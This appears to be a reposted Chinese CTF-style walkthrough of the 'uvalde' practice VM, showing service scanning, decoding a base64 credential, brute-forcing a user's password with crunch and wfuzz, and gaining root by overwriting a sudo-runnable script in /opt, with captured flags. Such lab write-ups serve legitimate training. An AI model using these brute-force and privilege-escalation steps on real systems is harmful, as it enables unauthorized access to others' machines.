uvalde-bash提权

2024-06-22 12:44
文章标签 bash 提权 uvalde

本文主要是介绍uvalde-bash提权,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

**后续需要虚拟机的私信我,我会打包进行文章发布链接,请持续关注!!!**

VM网络不通也没法改密码进去,只能下个VirtualBox和VMware互通了

vmware与virtualbox虚拟机互通_vmware和virtualbox互联-CSDN博客
但这也不行,看来只能使用端口映射了
Virtualbox虚拟机与主机相互访问_virtualbox win7虚拟机与本机互访-CSDN博客

服务探测

┌──(kali㉿kali)-[~]
└─$ nmap -sV -A -T 4 -p- 192.168.18.238

21,22,80
这里有个ftp有个匿名访问,里面有个output 文件,记录一些登录后的操作,我们先放着。可以知道一个用户名是matthew

目录扫描

gobuster dir -u http://192.168.18.2338/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,png -e

这里发现一个任意注册接口http://192.168.18.238/create_account.php,发现存在一定的规律,创建成功后会以bash64的方式返回账号密码

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ echo "dXNlcm5hbWU9YWRtaSZwYXNzd29yZD1hZG1pMjAyNEA3NzEy" | base64 -d    
username=admi&password=admi2024@7712 

解码后,发现密码的规律是用户名+2024@四位随机数,但是这是去年的靶场,所以应该是2023

发现还有一个用户名遍历漏洞,只要是被注册的用户都会返回 Username already exists

所以我们尝试爆破matthew用户,可以用burp但是太慢,我用wfuzz
先生成一个字典

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ crunch 4 4 0123456789 -o 1234┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ for i in {1000..10000};do echo $i;done > numbers.txt┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ wfuzz -X POST -d "username=matthew&password=matthew2024@FUZZ" -w 1234 -u http://192.168.18.238/login.php --hw 103
=====================================================================
ID           Response   Lines    Word       Chars       Payload     
=====================================================================000001555:   302        0 L      0 W        0 Ch        "1554"  

所以用户密码是`matthew: matthew2023@1554
ssh连接

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ ssh matthew@192.168.18.238  //matthew2023@1554matthew@uvalde:~$ cat user.txt 
6e4136fbed8f8c691996dbf42697d460

提权

sudo -l //(ALL : ALL) NOPASSWD: /bin/bash /opt/superhack
这里有个勒索程序
matthew@uvalde:~$ sudo /bin/bash /opt/superhack 
Pay 0.000047 BTC to 3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5 to unlock backdoor.                                                        

不过这里写什么并不重要,重要的是我们可以修改该文件
我们将superhack 文件重命名为superhack.back,然后重新创建一个superhack 文件,里面写入bash,然后使用sudo 执行,成功获取root 权限。

matthew@uvalde:~$ cd  /opt/
matthew@uvalde:/opt$ mv superhack superhack.bak
matthew@uvalde:/opt$ echo "bash" > superhack
matthew@uvalde:/opt$ sudo -u root /bin/bash /opt/superhackroot@uvalde:~# cat root.txt
59ec54537e98a53691f33e81500f56da

这篇关于uvalde-bash提权的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1084324

相关文章

bash: arm-linux-gcc: No such file or directory

ubuntu出故障重装了系统,一直用着的gcc使用不了,提示bash: arm-linux-gcc: No such file or directorywhich找到的命令所在的目录 在google上翻了一阵发现此类问题的帖子不多,后来在Freescale的的LTIB环境配置文档中发现有这么一段:     # Packages required for 64-bit Ubuntu

linux 内核提权总结(demo+exp分析) -- 任意读写(四)

hijack_modprobe_path篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm     原理同hijack_prctl, 当用户执行错误格式的elf文件时内核调用call_usermod

linux 内核提权总结(demo+exp分析) -- 任意读写(三)

hijack_prctl篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   prctl函数: 用户态函数,可用于定制进程参数,非常适合和内核进行交互 用户态执行prctl函数后触发prctl系统

linux 内核提权总结(demo+exp分析) -- 任意读写(二)

hijack_vdso篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm     vdso: 内核实现的一个动态库,存在于内核,然后映射到用户态空间,可由用户态直接调用 内核中的vdso如果被修改

linux 内核提权总结(demo+exp分析) -- 任意读写(一)

cred篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   每个线程在内核中都对应一个线程结构块thread_infothread_info中存在task_struct类型结构体 struct t

linux 内核提权总结(demo+exp分析) -- ROP(二)

ret2usr CR4篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码 内核通过CR4寄存器的第20位来控制smep,

linux 内核提权总结(demo+exp分析) -- ROP(一)

基础ROP篇(linux 5.0.21) 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   内核提权与用户态攻击的区别 攻击流程 用户态攻击: 执行 system("/bin/sh") 获得shel

bash脚本2_对比多个不同版本同名文件的异同

bash脚本2_对比多个不同版本同名文件的异同 #!/bin/bashFOLDER_A="$1"FOLDER_B="$2"IGNORE_STRING="loc_timestamp"subfolders=$(ls -d "$FOLDER_A"/*/)for subfolderA in $subfolders; dosubfolder_name=$(basename "$subfol

软件测试学习笔记丨Linux-Bash编程语法

本文转自测试人社区,原文链接:https://ceshiren.com/t/topic/32091 一、Bash编程基础 1.1 变量 1.1.1 语法 Variable_name=value 1.1.2 变量定义的规则 变量名区分大小写,a和A为两个不同的变量;变量名可以使用大小写字母混编的形式进行编写;变量名与值之间的=两侧都不能有空格;在读取或打印变量时,需使用$+变量名;

bash脚本1_完成文件夹的更新

bash脚本1_完成文件夹的更新 功能: 文件夹A,文件夹B 文件夹A是文件夹B的子集。 两者的层级一致,内部都包含多个子文件夹 写一个bash脚本将文件夹B中出现在文件A中的子文件夹替换为文件夹A的子文件夹 #!/bin/bash# 确保脚本以两个参数运行if [ "$#" -ne 2 ]; thenecho "Usage: $0 folderA folderB"exit 1